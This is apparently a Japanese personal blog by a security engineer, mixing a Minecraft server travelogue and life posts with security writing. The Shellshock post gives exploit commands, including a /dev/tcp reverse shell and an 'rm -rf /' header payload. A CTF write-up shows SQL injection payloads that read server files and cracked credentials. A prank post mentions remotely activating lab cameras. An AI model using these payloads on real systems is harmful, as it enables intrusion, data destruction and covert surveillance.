Posts by author chris

たびにっき 2018-12 in WORD Minecraft

まえがき

みなさん、おはこんばんちわ。WORD OB のくりすです。
このたびWORDIAN Advent Calendar 2018にノリと勢いで参加し、どんな記事を書こうかなぁと1週間ほど迷っておりました。

WORDIANは皆思い思いの素晴らしい文明を持っているんですが……文明……そうだ!!

今日は WORD Minecraft をみなさんにご紹介いたします!!

ぼやき

本当は旅行誌みたいな文体にしたかったんですが、そんな文才もなく、結局おっさんの旅ブログみたいな自己満足記事にしかなりませんでした。以下はおっさんの自己満旅ブログ記事です。 しかも写真が縦に並んでいて超長文です。パケット使用量にご注意。

WORD Minecraft について

WORD部屋にMinecraftが導入されたのは2011年当時。まだ1.7.3_Betaだった頃から祖国の発展に心血を注ぐ人々がいました。
彼らは無人の荒野を切り拓き、基地を建て、先住民を拘束との交流を深め、祖国となる領土をまたたく間に拡大していきました。
1.7.3_Betaから始まり、筆者が初めてこの世界に降り立った1.2.5や、増殖バグで賑わいを見せた1.4や1.5.2、馬バブルで新都市がつくられた1.6、その後も歴史は紡がれてゆき、現在は1.12.2に至ります。

この記事では、そんな WORD Minecraft の7年にも及ぶ歴史を写真でひもといていきましょう。

その1. 筆者の育ちの地 ~平壌~

2011年だか2012年だかのある日。筆者が WORD Minecraft の世界にスポーンすると、偉大なるPhi_san同志が現れて「基地はこっち」と言葉巧みに導いていったその先は…… 平壌でした。筆者育ちの地ということでつい熱く語りがちになってしまいますが、どうか温かく見守ってください。

立派な駅舎です。

誇示される街の発展ぶり。

この将軍様の肖像画は、なんと羊毛を地面に敷き詰めて地上絵にしたものをマップに書き込んで額縁にはめたものだそうです。

住民は外出の自由を与えられているようです。

えっ……これは、平砂宿舎!?

宿舎とは呼ばれていないようです。

平壌のヌシ、Phi_san同志の部屋です。

田村ヒルズ(実在したアパートの名前は「田村ハイツ」)と呼ばれる建物が4つ並んでいます。右奥のドアは、かつての筆者の家です。

キッチンに、

4x4ブロックの小部屋。引き払ったので空です。

これは…

我らの衛星が空に浮かびました。

なんかてっぺんに人民がいます。月に送られるのかな?

柳京ホテルです。

完成したのかどうか確かめるのを忘れました。

花火打ち上げ場みたいです。

このレバーを引くと、

こんなところにもスローガンが。

アップルストア平壌

おしゃれですね

そういうことかい

筆者の今の住居です。肖像画は同志に勝手に飾られました。

この建物は上から下までチェストだらけなんですが、

かつて無限増殖バグがあった頃に、ここが物資の違法な増殖の拠点になっていたそうです。

あたまおかしい。

この平壌市内は地下鉄駅が東京メトロ並に密集しています。

改札機付き。

無人のトロッコが暴走しないよう、トリップワイヤーを応用したATSが取り付けられています。

\楽園へようこそ!/

これ本当によく作ったなぁ……

地下に降りるとネザーポータルがあるので、入ります。

ネザーに敷いた鉄道は通称「新幹線」

その1.5. グラウンド・ゼロ

しばらく新幹線もといトロッコに揺られると、大きなターミナル駅「グラウンド・ゼロ」に着きました。

馬の係留所。

グラウンド・ゼロ全景。

これ全部下まで手掘りなんですよ。バニラ鯖ですから。

謎の穴

深淵をのぞく時、深淵もまたこちらをのぞいているのだ。

※落ちたら死にます。

グラウンド・ゼロ駅から再び新幹線に乗って、次は新橋駅。オリジナルリスポーンポイントに近い所なので、新入りには馴染みが深い街であるとともに、 WORD Minecraft 最古の都市でもある、雰囲気のある街に出ます。

その2. 古都・新橋

新橋に着いた目印はコレ。

いや、こっちのほうが目立ってます…

古式ゆかしい、角ばった土作りの建物。

空っぽじゃないですか。

なんだこれ……

消費税が5%だった時代。

今やあんまり物がない、古都というよりもう廃村って感じでした。

その3. メガロポリス・北海道

新橋から少しトロッコを走らせると、

すさまじい密度の大都市がありました。北海道です。

大図書館とユグドラシル。

ここはマクドナルドもオシャレに半透明。

環境保全地区。ここをまっすぐ行くと北海道を出て、次は樺太、海ほたる、秋葉原です。

その3.5. 樺太

樺太には、偉大なるPhi_san同志の像が!!

その4. 秋葉原

オール電化の立派な線路の向こうには…

秋葉原駅。

レンタカーがあります。

みどりの窓口もあります。

ろんず大仏の足元です。

こちらはあの「北海道」の主、athlonz_xpさんの像です。

765プロ。

青い建物といえば…?

Animateです。

漫画家セットが新入荷でアツいそうです。

どっちかというと小説家セットでした。

秋葉原の賑わいの裏手にはダムがあります。

ダム展望台からの眺望です。

このレバーを下げると、

警告音が鳴って、

ザバァ~~~

またもや平砂宿舎。こちらのほうが先に建てられました。

こっちは1階部分のセキュリティもバッチリです。

永久に燃える山。右奥に鳥居が見えますが、あれは「鳥取」の一部です。

その5. 鳥取

まずはお参り。

ようこそ鳥取へ!

城です。

大山から城の方向を望む。

鳥取を離れ、少しぶらぶらします。

その6. 新天地

続いてやってきたのは、物資の宝庫「新天地」です。雨が降ってきました。

砂の無限増殖バグで沸き上がった違法ビジネス都市です。

動かなくなった増殖装置はさながら産業遺産。

おっと、ここで!!

Phi_san同志登場!!!!!

ここで待ち合わせます。

ついに平壌のヌシとご対面。Phi_san同志です。

ここからは同志と線路沿いを歩いたりトロッコに乗ったり飛んだりしてそのへんを観光していきます。

その7. 新日暮里♂

あぁん!?新日暮里!?

新日暮里公園です。

これは掲載してもいいやつですかね?学類長チェック通りますか?

やらないか

そういう用途の公衆トイレです。

先客がいました。

トイレ内を現地指導する同志。

下水に流される同志。

マクドナルドは遍在する。

まともな商品はありません。

みなさんもよくご存知のホテルつくばです。

本物にこういういたずら書きがあるのかは知りません。

ファミマです。

この人は店員になりすまして略奪をはたらいています。

ふぐり大聖堂

同志のありがたいお話です。

適当に歩いてたら、バージョンの境目を見つけました。

これもまた、複数バージョンにまたがって歴史が紡がれる世界の_あるある_のひとつです。

またトロッコに乗って…

次は「家」です。ポータル死んでますが。

その前に、同志が何やら脇道を見つけたようです。

散々歩いた最後は行き止まりでした。ここで力尽きたんだな……。

その8. 家

死んでいたポータルは放置して、地上の線路で「家」へ向かいます。

ババア像

家に着きました。

化物が軒下に引っかかってます。

落ち着いた内装のロッジです。

わんわんお

新幹線で「高田馬場」へやってきました。

その9. 高田馬場

いかにも馬バブルの地です。

白い「落とし物」は馬のものっぽくはないですね。

その9.5. 下北沢

雪ブロックの高さを8段階で変えられるようになったときに発展した街です。

な阪関

落ち着いた雰囲気の建物です。

看板には落ち着きがない。

その10. 豊郷

下北沢から徒歩で豊郷小学校旧校舎群に来ました。

講堂です。

その11. 遺跡

豊郷から遺跡の間にも新幹線が通っています。この旅もそろそろラスト。

駅舎は豪華絢爛です。

駅ねこ

相変わらず趣向がアレです。

重厚な鉄扉の向こうには…

おもしろバーが2軒。

同志がいつの間にやら店番をしています。

逆方向にはどこかで聞いたことのある店名のバーがあります。

真ん中に物々しい台。

別室があります。

同志、入ってしまわれました。

外の空気を吸いに出てきたら、すでに明るくなっていました。

同志の視線の先には違法高層建築群。

THE END へダイブします。

ポータルへ直滑降。

その11. THE END

異世界へ転生してしまいました。ここはエンダーマンの世界、 THE END です。

ここで暮らそうとした人がいたようです。

ほぼ未開拓のエリア。右に不思議な装置があります。

「プリパラの門をくぐる者、全ての希望を捨てよ!」

装置を稼働させると、エンダーマンが次々に入場していきます。

この様子が本当におもしろかった。

ちなみにこの門の下はエンダーマンの♥が0.5になるように調整された落とし穴になっており、エンダーマンは下のほうでプレイヤーがとどめの一撃を刺しにくるまでもだえながら待っています。要は経験値トラップ。

地上へ帰ります。そういえば最後に使ったベッドはどこだっけ……?

エピローグ

あぁ……!!こんにちは、ナイル文明!!

説明しよう!

WORD Minecraft のナイル文明とは、発展しきった都市文明に飽きたプレイヤーたちがすべての荷物を捨て、コマンドブロックで仕掛けられたテレポート装置で x:70000, z:70000 を指定して集団で高飛びした先にイチから作られた文明のことである!

~おわり~

2018-12-08_21.52.47_1280x720.png

あるcoins卒業生の現在

概要

coinsな人なら既卒、在学中、教員、入学予定、志望、退学、除籍、転類希望…どなたでもOKです 内容も自由です(coinsっぽくないことでもよいかと) 技術の話をするもよし、好きなガジェットを語るもよし、今は亡きcoinsLTについて語らうもよし、夢屋と松屋をかたるもよし、畑を案ずるもよし、なんでもありです

それではご自由にどうぞ

coins Advent Calendar 2016

「畑を案ずる」ってわたしのことなのでは……!

ということで、遅くなりましたが16年度coins卒業生がつくばに住み続けながら渋谷で働いている話をQ&Aっぽい形式でします。


わたしはだれ

通称くりす。情報科学類2010年度入学、2留の末2016卒。ちゃんと卒業しましたよ!いまだに大学に出入りしてますが。

今何してるか

BASE株式会社 というところでセキュリティエンジニアとして働きながら、休日はcoins14の @rairyuGO と畑をやったり、WORD編集部の連中と戯れたりしております。

今どこに住んでいるか

いまだに学生に混じってつくばに住んでいます。この決断に至った理由に、もともとつくば育ちである・都会より空気がずっときれい・大学の後輩と戯れ続けたい・畑を続けたい・車を手放したくない・つくばの家賃が安い・つくばの飯がうまい・引っ越しがだるい、などが挙げられます。

つくばから渋谷へ通うのには高速バスと東京メトロを使っております。バスというと職場の人は全員驚きましたが、必ず座れてトイレがついてるという利点は何物にも代えられません。さらにTXがつくば駅までなのに対しバスは大学の中まで来るので、うちにも近くて助かります。

どうして今の仕事を選んだか

実はBASE社が運営している PAY.JP という決済サービスの構築にはかなり前から関わっていました。いろいろあってPAY.JPに出会い、4年生当時にはフリーランサーとして週1でPAY.JP関係の仕事をしていたので、その延長で新卒入社という感じです。入社前にその職場がどんなところなのか、どういう人がいるのかという情報はバッチリ把握できましたし、逆にわたしのスキルや仕事への意欲といった情報を会社側に把握してもらうこともできていたので、理想的な就職でした。労働に対して敵意を向けているのは今も昔も変わっていないのですが、これなら続けていけそうです。

ありがとうBASE株式会社!

畑の調子は

今はタマネギとブロッコリーとニンジンと白菜が植わっています。ブロッコリーが収穫期真っ盛りで、ニンジンはちょっと未熟ですが柔らかくておいしいです。

広告欄

ネットショップ運営は BASE で!!

結論

つくばはいいぞ。

coins的イタズラ

なぁにこれ

coinsの人がcoinsっぽいことを書いていくアドベントカレンダーです。

coinsの人とは

  • coinsに所属している人
  • coinsに所属していた人(老害はほどほどにな)
  • これからcoinsの人(若さを分けてくれ)
  • 心がcoinsの人
  • 不埒なcoinsを評したい人

を指します

内容

  • 書けば官軍書かねば賊軍
  • 同じ阿呆なら書かねば損損

coins Advent Calendar 2015


そんなわけで、coins Advent Calendar 2015 12月18日付の記事はくりすが担当させていただきます。


まえがき

COINS*1 とは筑波大学における「情報科学類」の公式略称であり、当該学類やそこに所属する学生のことを指します。端的に言えばcoinsは変人の集団です。よく「恋人にしたくない学類No.1」にノミネートされています。しかしそんな学類を居心地良いと感じる人も多く、独特の雰囲気の中で皆、日々学問や趣味からくだらない遊びまで幅広く研鑽に励んでいます。 わたしもcoinsの2010年度生として現在卒業論文の執筆を進めております。6年次4年生です。いろいろあったんです。でもとうとう卒業が目前になり、coins生として様々な活動に励むのもあと3ヶ月程であると思うと感慨深いです。

今日はcoins界隈で嗜まれる「くだらない遊び」に焦点を当てた記事を、わたしのcoins生活最後となるアドベントカレンダー記事としてお届けします。


さて、coinsで嗜まれる遊びに「イタズラ」が挙げられます。一般常識に決して縛られないcoinsACの得意とする分野です。「計算機室のiMacを一斉に笑い出させる」程度の比較的無害なものから「学内の池にスワンボートを浮かべる」という一大プロジェクトまで様々な規模のものが実行された歴史があり、MITの「ハック」に相通ずるものがあります。そんなイタズラをひとつばかりピックアップしてみたいと思います。

計算機室のiMacで

coinsが保有する計算機室には、全部で100台を超えるiMacが設置されており、学生がいつでも自由に利用できる環境が整備されています。深夜にも利用している学生がちらほらおり、彼らの学習意欲の高さ(またはカリキュラムの厳しさ)を物語っています。そして、彼らは暇を持て余したcoins生のイタズラの格好のターゲットになります。

計算機室のiMacで稼働するすべてのOS X上ではSSHが稼働しており、アカウントを持っている学生はどこからでも自由にリモートログインできます。これを使わない手はありません。 SSHを用いてたくさんのホストにいっぺんにコマンドを送信するのに便利なのがansibleです。管理対象のホストではSSHさえ動いていればあとは何も要らないのが大きな利点です。 ansibleを用いて、計算機室のiMacで(怒られない範囲で)遊んでみましょう。

ターゲットとなる計算機室iMacのホストを設定*2したら、echoコマンドで試し撃ちしてみましょう。

$ ansible coins -i hosts -u <username> -a "echo uhihi"
foobar04.coins.tsukuba.ac.jp | success | rc=0 >>
uhihi

foobar03.coins.tsukuba.ac.jp | success | rc=0 >>
uhihi

foobar05.coins.tsukuba.ac.jp | success | rc=0 >>
uhihi

foobar01.coins.tsukuba.ac.jp | success | rc=0 >>
uhihi

foobar02.coins.tsukuba.ac.jp | success | rc=0 >>
uhihi

etc...

こんな感じで一度に複数のホストに簡単にコマンドを送信でき、その結果を確認できます。 あとはこれをsayコマンドで応用してMacに喋らせてみたり、afplayでwavやaiffを流してみたり、whoでどのマシンを誰が使っているか監視したり、カメラを起動してみたり*3、無限大の可能性が広がります。深夜にホラーじみた音声がそこかしこのiMacから発されたらたまったもんじゃありませんね。もちろんansibleのパワーはこれだけにとどまりませんので、みなさんのほうでガンガン開拓していけると意外な発見があるかもしれません。そして、学生生活中にこうして無駄遣いした技術力は、必ずや将来役立つ戦力となるでしょう。みなさんの今後に大いに期待しております。

おわりに

かならず おとなのひとといっしょに あそんでね!


*1 case insensitive
*2 ansibleの使い方を説明する記事ではないので省略。ここではホストグループをcoinsと設定した場合を想定して記述しています。
*3 このような盗撮行為が可能であることが判明したため、内蔵カメラにシールを貼る対策が今年実施されました。

CVE-2015-0014について (あるいは自慢話)

氏とわたしが報告したWindows Telnetに関する脆弱性に、 CVE-2015-0014 (およびMS15-002) というIDが割り振られました。

この脆弱性はWindows Telnetにおけるバッファオーバーフローに関するもので、登氏が同プログラムの不穏な挙動を発見し、そのエクスプロイトコードをわたしが作ってMicrosoftに報告したというかんじです。 今どきのOSにはASLRが積んであるのでドエラいことをするためには工夫が要るのですが、XPやServer 2003などには死をもたらすことができたので、結構アレゲな脆弱性です。

Microsoft TechNetに掲載された謝辞がこちらになります。

いよいよ名前が世界に知らしめられてしまいました。自分が発見に関わった脆弱性にCVE IDが付いたことですし、もしかするとこれでわたしもプロハッカーの仲間入りを果たしてしまったのかもしれないのですが、仕事というものが滅法苦手なわたしはたぶんこれからもバグハンターという狩猟生活を、自分の気の向くままにやるにとどまるでしょう。

そんなことより山にこもりたいと考えている今日この頃です。この山小屋がほしい。 https://suumo.jp/jj/bukken/shosai/JJ012FD010/?ar=040&bs=021&nc=83826542&suit=nsuusbsp20121129001

bashの脆弱性がヤバすぎる件

やっと更新する気になった。

もくじ

  • 0. 産業で説明
  • 1. 理論編
  • 2. 攻撃編
  • 3. パッチ
  • 4. 結論

0. 産業で説明

bashが
アホで
地球がヤバイ

1. 理論編

bashの関数機能は、環境変数の中でも使える仕様になっています。
今回問題となったのは、関数に任意のコマンドを続けて環境変数に入力すると、コマンドが勝手に実行されてしまうということです。この脆弱性にはCVE-2014-6271というIDと、Shell Shockというニックネームがつけられました。

2. 攻撃編

なんでもいいのでLinuxホストのターミナルでこんなコマンドを打ってみましょう:

$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'

もし出力の中にmanukeが含まれていたら、そのホストは今回発表された脆弱性に対して危険な状態です。

もうちょっとゾクッと来る例を紹介しましょう。

Gitoliteなど、シェルを提供しないという条件付きでSSHの接続を受け付けるタイプのアプリケーションがありますが、この脆弱性を突くと、シェルを与えていないユーザに好き放題されてしまうかもしれません。

あるGitoliteサーバ (gitolite.example.com) にアカウントを持っている攻撃者が自分のホストから

$ ssh [email protected] '() { :; }; /usr/bin/id'

というコマンドを発射します。そして、

uid=108(git) gid=114(git) groups=114(git)

と返ってくると、攻撃は成功です。

$ ssh [email protected] '() { :; }; bash -i >& /dev/tcp/203.0.113.1/4444 0>&1'

というコマンドを撃てば、203.0.113.1:4444にリバースシェルが降ってきますね(*1)。

もうひとつヤバい例を挙げましょう。CGIです。

CGIにおけるアタックベクタは、環境変数に格納されるパラメータです。 system()や類似の関数を用いたCGIスクリプトは、OSコマンド実行のためにbashを呼び出しているかもしれません。 CGIはパラメータを環境変数として格納しています(*2)から、HTTPリクエストヘッダをいじって

User-Agent: () { :; }; rm -rf /

とかやるとゾクゾクするかもしれません。わたしは実証していませんが。

3. パッチ

Ubuntu 12.04.5 LTSでは既にパッケージマネージャによって緊急アップデートが提供されていることを確認しました。その他のディストリビューションでもたぶんパッチが提供されていますが、そうでなければ http://seclists.org/oss-sec/2014/q3/650 こちらに掲載されている、bashのバージョンに適したパッチを使用しましょう。

bashのソースコードとパッチを読んで、どういうコードからこの脆弱性が生まれたか読み解いてみるのも勉強になりますね。

4. 結論

コワイ!


*1: この例はUbuntu 12.04.1 LTSで実証しました。この方法が使えなくてもNetcatやPerlなど、リバースシェルを引っ張る方法はいくらでもあります。
*2: 例: ユーザエージェント→HTTP_USER_AGENT

セキュリティ・ミニキャンプ in 会津 へ行ってきました

夕飯食ったら書く。

「人文LT2」で発表しました

情報科のおじさんが、華の人文生たちによるLTに乱入してきました。 資料をアップロードしたのでどうぞご覧ください。

これはニホンゴですか? (推奨ブラウザ: Chrome*)

発音が日本語っぽい言葉を世界中から集めて、それらの意味や例文(?)を解説する内容です。


* またimpress.jsなんか使っちゃったからまっとうなブラウザじゃないと動きません。

最新のおふざけ

はい。

進捗どうですか?

Chromium 34.0.1 のみで動作確認。Firefoxはつらかった。


使用したsomething

impress.js

クリスセキュアシステムズをたたみます。

以下、2週間前にFacebookに投稿したことの丸写し。


はじめに、わたしの仕事が遅いことについて、関係者各位には深くお詫び申し上げます。

さて、クリスセキュアシステムズをたたむことを検討しております。
主たる理由は次のとおり。

  • 在学年限の関係上、もはや余計なことをする時間がない
  • 必ずといっていいほど尻に火が着くまで何もせず、クライアントに迷惑をかけたり、自分の仕事を自ら炎上させてしまうことがあった(つまり、時間とタスクの割り振り・自己管理がド下手クソ)
  • できないことを引き受けて痛い目にあった

とくに下のふたつは他人が関わるぶん、より重大な懸案事項です。仕事をする人にあってはならないことです。頭では分かっているのにまるで行動が伴わないので、社会人風情を気取るのはここでやめにして、やるべきことをやる、一人前の人間になる訓練に立ち返ります。本当に社会人になるまでにあと2年あるので、この間にどれだけ弱点を克服できるか、自分を試してみようと思います。

それと別れました。

サーバ移転しました

経費削減のために、Tracサーバと、わたしの管理するSNSで使っているサーバを統合しました。

Before

  • (Trac) Amazon EC2 (t1.micro) … EC2小計 $23.79
  • (SNS) さくらVPS SSD 2G プラン … ¥1,760
  • (Mail) さくらVPS 1G プラン … ¥980

After

  • (Trac, SNS, Mail1) さくらVPS SSD 2G プラン … ¥1,760
  • (Mail2) さくらVPS 1G プラン … ¥980 (本当に必要か審議中)

詳細は後ほど追記

curlで叩ける年齢計算サイト

本日のやっつけ仕事です。

きっかけ

作った

http://age.x86-64.jp/

使用例
http://age.x86-64.jp/1991/12/29Age: 22というレスポンスを得る。

しくみ

WebフレームワークはFlask, アプリケーションサーバはこのTrac同様にuWSGIです。フロントエンドはnginxです。

ソースコード

from flask import Flask
from datetime import date

app = Flask(__name__)
app.config.update(
    DEBUG=False,
)

@app.route('/')
def usage():
    return "Usage: http://age.x86-64.jp/yyyy/mm/dd <br> curl recommended."

@app.route('/<int:yyyy>/<int:mm>/<int:dd>')
def calculate(yyyy, mm, dd):
    """This part is from Stack Overflow: http://stackoverflow.com/a/2217537/1402144"""
    birthday = date(yyyy, mm, dd)
    today = date.today()
    years = today.year - birthday.year
    if all((x >= y) for x,y in zip(today.timetuple(), birthday.timetuple())):
        age = years
    else:
        age = years - 1
    """End StackOverflow"""
    return "Age: %d" % age

if __name__ == '__main__':
    app.run() # Change this to "pass" in order to run this via uwsgi.

はまってたところ

最初、calculate(yyyy, mm, dd)の返り値にageという変数を直接使おうとしていた (つまりreturn age) が、

TypeError: 'int' object is not callable.

というエラーを得た。上記のようにsprintfっぽく、return "%d" % age"として解決。

Tracを1.0.1にアップグレードしました

くりすです。

本サイトのTracを0.12.3から1.0.1にアップグレードしましたので、その手順をメモしておきます。

もくじ

  1. ねらい
    1. 構成の細分化とは
    2. virtualenvって何だ
  2. アップグレードの実行
    1. virtualenvのセットアップ
    2. virtualenvを使った、最新版Tracのインストール
    3. Tracを0.12.3から1.0.1にアップグレードする
    4. uwsgiの設定を書き換える

1. ねらい

今回Tracを1.0.1にアップグレードするにあたって、単なるアップグレードではなく、サーバの構成をより細分化することも目的としました。

1.1. 構成の細分化とは

ここでいう構成の細分化とは、システムに搭載する個々のアプリケーションの影響範囲をできるだけ小さくする工夫です。

さて、私が使っているUbuntu 12.04 LTSのサーバには、パッケージマネージャを使ってTracをインストールすることができます:

# apt-get install trac

ところが、パッケージマネージャを使う方法には次のようなデメリットがあります:

  • パッケージマネージャで提供されるアプリケーションは必ずしも最新版ではない
  • システム全体に対してインストールすることになってしまうので、サーバの構成への影響が大きい
    • レンタルサーバなどを使っていてroot権限を持っていない場合などは、そもそもこの方法を用いることができない

そこで、virtualenvを用いて、専用のPython環境を構築することにしました。

1.2. virtualenvって何だ

virtualenvとは、Python環境のセットを好きなだけ錬成するしくみ、つまりPythonの仮想環境です。

virtualenvを使うと、

  • システムのPythonに影響を及ぼさない
    • 一般ユーザの権限でもライブラリのインストールが容易
    • /etc/usrなどに余計なファイルを作らない
    • パッケージマネージャで入れたライブラリと競合しない
  • 必要なだけ専用のPython環境を作ることができる
  • Pythonのバージョンが選べる

といったメリットを得ることができます。

2. アップグレードの実行

以下、例示しているディレクトリは/home/trac/curが従来のTrac環境、/home/trac/newが新しいTrac環境を表します。各自の環境に合わせて読み替えてください。

2.1. virtualenvのセットアップ

virtualenvはサラのUbuntuには入っていませんでしたので、インストール。

# apt-get install python-virtualenv
  1. まず、現在のデータをコピーします。
    $ rsync -a /home/trac/cur/ /home/trac/new
    
    rsyncコマンドにおいて、末尾の`/`のあるなしは極めて重要です。
  1. /home/trac/new下にvirtualenvを生成します。root権限は必要ありません(したがってsudoも不要)
    $ cd /home/trac/new
    $ virtualenv env
    
    そうすると、5秒ほどで専用のPython環境/home/trac/new/envが爆誕します。コマンド引数の内容は任意で、たとえば
    $ virtualenv trac_python_env
    
    とすれば、/home/trac/new/trac_python_envが生まれます。
  1. 新しく作ったPython環境を起動します。
    $ source env/bin/activate
    
    そうすると、先ほど生成したPython仮想環境が起動し、
    (env)$
    
    というプロンプトに変化します。(env)という表示は、envという名称のvirtualenvを使用していることを示します。

2.2. virtualenvを使った、最新版Tracのインストール

新しく作ったPython環境においては、基本的にeasy_installあるいはpipを用いて追加モジュールのインストールをします。中にはGenshi(後述)などコンパイルを要するモジュールもあるので、build-essentialを用意しておいたほうがよいでしょう。

# apt-get install build-essential
  1. (env)が起動している状態で、pip install tracを実行します。root権限やsudoは不要。
    (env)$ pip install trac
    
    Tip: Tracがレンダリングに用いるGenshiというモジュールは、高速化のためにPython.hというC++ヘッダファイルを使ってコンパイルするので、
    # apt-get install python-dev
    
    としてこれをインストールしてやると、Genshiの高速化機能の恩恵を受けることができます。

2.3. Tracを0.12.3から1.0.1にアップグレードする

Tracのアップグレードについては詳しい手順は公式ドキュメントに譲ります。要約するとこんな感じです:

(env)$ cd /home/trac
(env)$ trac-admin new upgrade
(env)$ trac-admin new wiki upgrade

これで、Tracは最新版(1.0.1)になりました。最後に、uwsgiの設定を更新しましょう。

2.4. uwsgiの設定を書き換える

本ブログの一番最初の記事に記載していますtrac.xmlがベースです。これを/etc/uwsgi/sites-available/trac.xmlとして準備します。

Note: これはuwsgi 1.0.3-debian 用の設定です。最新版のuwsgi(2.0)では異なる部分が結構あるので、その場合以下は参考にできないかもしれません。

  • .xml

    old new  
    11<uwsgi>
    22    <socket>127.0.0.1:7777</socket>
    33    <plugin>python</plugin>
    4     <env>TRAC_ENV=/home/trac/cur</env>
     4    <env>TRAC_ENV=/home/trac/new</env>
     5    <virtualenv>/home/trac/new/env</virtualenv>
    56    <module>trac.web.main:dispatch_request</module>
    67</uwsgi>

Note: アップグレードなので/etc/uwsgi/sites-enabled/trac.xmlは既に/etc/uwsgi/sites-available/trac.xmlのシンボリックリンクとして存在します。

nginxの設定には変更はありません。

最後に、uwsgiを再起動してアップグレード作業は完了です。

# service uwsgi restart

次はnginxを1.4.4に、uwsgiを2.0にアップグレードしたいので勉強します。

あとUpstartを用いて、uwsgiをソケットアクティベーション型の運用にしたいですね。
Running uWSGI via Upstart --- uWSGI 2.0 Documentation

年越しCTF x86-64.jp大会 2014 を開催しました

あけましておめでとうございます。くりすです。今年もよろしくお願いします。


さて、年越しCTF x86-64.jp大会 2014 なるイベントを開催しましたが、参加者のみなさま、お楽しみいただけましたでしょうか?

以下に、年越しCTF x86-64.jp大会 2014 問題の解説記事を記します。

もくじ

  1. ルール説明
  2. 問題解説
    1. 第1段階 - Webアプリケーション
    2. 第2段階 - サーバへの侵入
    3. 第3段階 - パスワード付きzipへの攻撃
  3. 優勝者紹介
  4. 苦労話その他エピソード等

1. ルール説明

はじめに、ルールをおさらいします。

ルールは簡単。ターゲットサーバ最深部にあるキーを入手し、提出するだけ。あらゆる手を尽くして構いません。

楽勝そうですね。では、いってみましょう。

2. 問題解説

第1段階 - Webアプリケーション

ルール説明に従ってhttp://target.ctf.x86-64.jp/にアクセスすると、「ほげ大学科目データベース」と称する、ネーミングが適当な大学の科目紹介ページに到着します。このページはPythonのFlaskというマイクロフレームワークを使って作られております。

さて、いくつかページ上のリンクをたどってみます。

http://target.ctf.x86-64.jp/show/GB10114

線形代数Iに関する科目説明が現れる

http://target.ctf.x86-64.jp/show/GB11911

データ構造とアルゴリズムに関する科目説明が現れる

といったふうに、URLのパスを直接パラメータとして扱っているようです。ここにSQLインジェクションを仕掛けてみましょう。

  1. まずは、UNION ALL SELECT null攻めをします。
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,@@VERSION;--
    
    このように、nullを10個と@@VERSIONを並べてUNIONクエリを発射すると、「備考」欄に5.5.34-0ubuntu0.12.04.1と出現し、SQLインジェクションの成功が確認できます。
  1. 次に、SQLインジェクションによってどんな操作が行えるか確認しましょう。
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,grantee,privilege_type,is_grantable%20FROM%20information_schema.user_privileges;--
    
    こうすると、kamokudb@localhost, FILE, NOという応答を得ます。FILE権限があるようですね。ローカルファイルインジェクションをやってみましょう。
  1. /etc/nginx/nginx.conf をMySQL経由で読み取ってみましょう。
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f6e67696e782e636f6e66);--
    
    こうすると、/etc/nginx/nginx.confを引っ張りだすことができます*1LOAD_FILE()の引数が16進数なのは、ASCIIのスラッシュが含まれるとパスと認識されて404 Not Foundという結果になってしまうからです。 その結果、nginx.confが備考欄に見事に出力され、/etc/nginx/conf.d/ctf.confというファイルをインクルードしていることを暴露します。
  1. /etc/nginx/conf.d/ctf.conf をMySQL経由で読み取る
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f636f6e662e642f6374662e636f6e66);--
    
    これにより、nginxで/adminが提供されており、さらに/etc/nginx/conf.d/admin.passwdの存在を知ります。
  1. /etc/nginx/conf.d/admin.passwd を読み取り、クラックする
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f636f6e662e642f61646d696e2e706173737764);--
    
    これにより、
    admin:$apr1$Zbv59eGR$GoMlmiqujrkVOgm8QbMcL/
    
    を得ます。John The Ripperでも使えばクラックできます。ちなみに、パスワードはmanukeです。

2. サーバへの侵入

これで、 http://target.ctf.x86-64.jp/admin への侵入が完了しました。次は、サーバ自体への侵入を行います。

/admin は、サーバのファイルシステムの/home/ctfを表示するファイルマネージャです。ご丁寧にドットファイル系もばっちり表示してくれるので簡単ですね。.bash_history (途中で問題都合で.zsh_historyになりました) を開きましょう。

wget https://www.dropbox.com/s/************/id_rsa

Dropboxに秘密鍵をアップロードするとかとんだお馬鹿さんですね。問答無用でダウンロードし、使ってみましょう。しかし、どのユーザに対する鍵か分からないし、そもそもこのid_rsaはパスワードがかかっています。

  1. まずは、id_rsaのパスワードを解きましょう。 よくあるパスワードを試したり、総当たり攻撃でパスワードを暴いたりすればいけます。たとえば、ssh-privkey-crackなるツールがあります*2。 パスワードはpwnedです。
  1. 誰に対して使えるキーか、見当をつけましょう。 またSQLインジェクションに戻ります。
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f706173737764);--
    
    これは、/etc/passwdを表示するペイロードです。じっくり眺めてみると、chris, ctf-kamokudb, ctf, takashiあたりが狙えそうだということが分かります。

このキーが使えるアカウントは、ctfです。

  1. キーを探しましょう。 /home/ctf直下には偽物しかないので、どこか別のパスに隠されているはずです。/etc以下を調べると、/etc/sudoers.bakという、パーミッション444のファイルが見つかります。大当たりですね。
    ctf     ALL=(takashi) NOPASSWD: /bin/cat
    ctf     ALL=(takashi) NOPASSWD: /bin/ls
    
    たいへんよい。これらの権限を使えば、/home/takashi/Desktop/README.txtを見つけることは容易です。

このREADME.txtを読みます。

Impressive! You have reached the very depth of this server!

FINAL CHALLENGE: The key is right here... https://www.dropbox.com/s/qc7vo2o7ndmqu0n/lolz.zip
Download the zip file to your local machine and see what you can do. Good luck!

zipファイル中にキーが眠っているようです。

3. パスワード付きzip対する攻撃

先ほどダウンロードしたzipファイルを解凍してみましょう。できませんね。パスワードがかかっています。

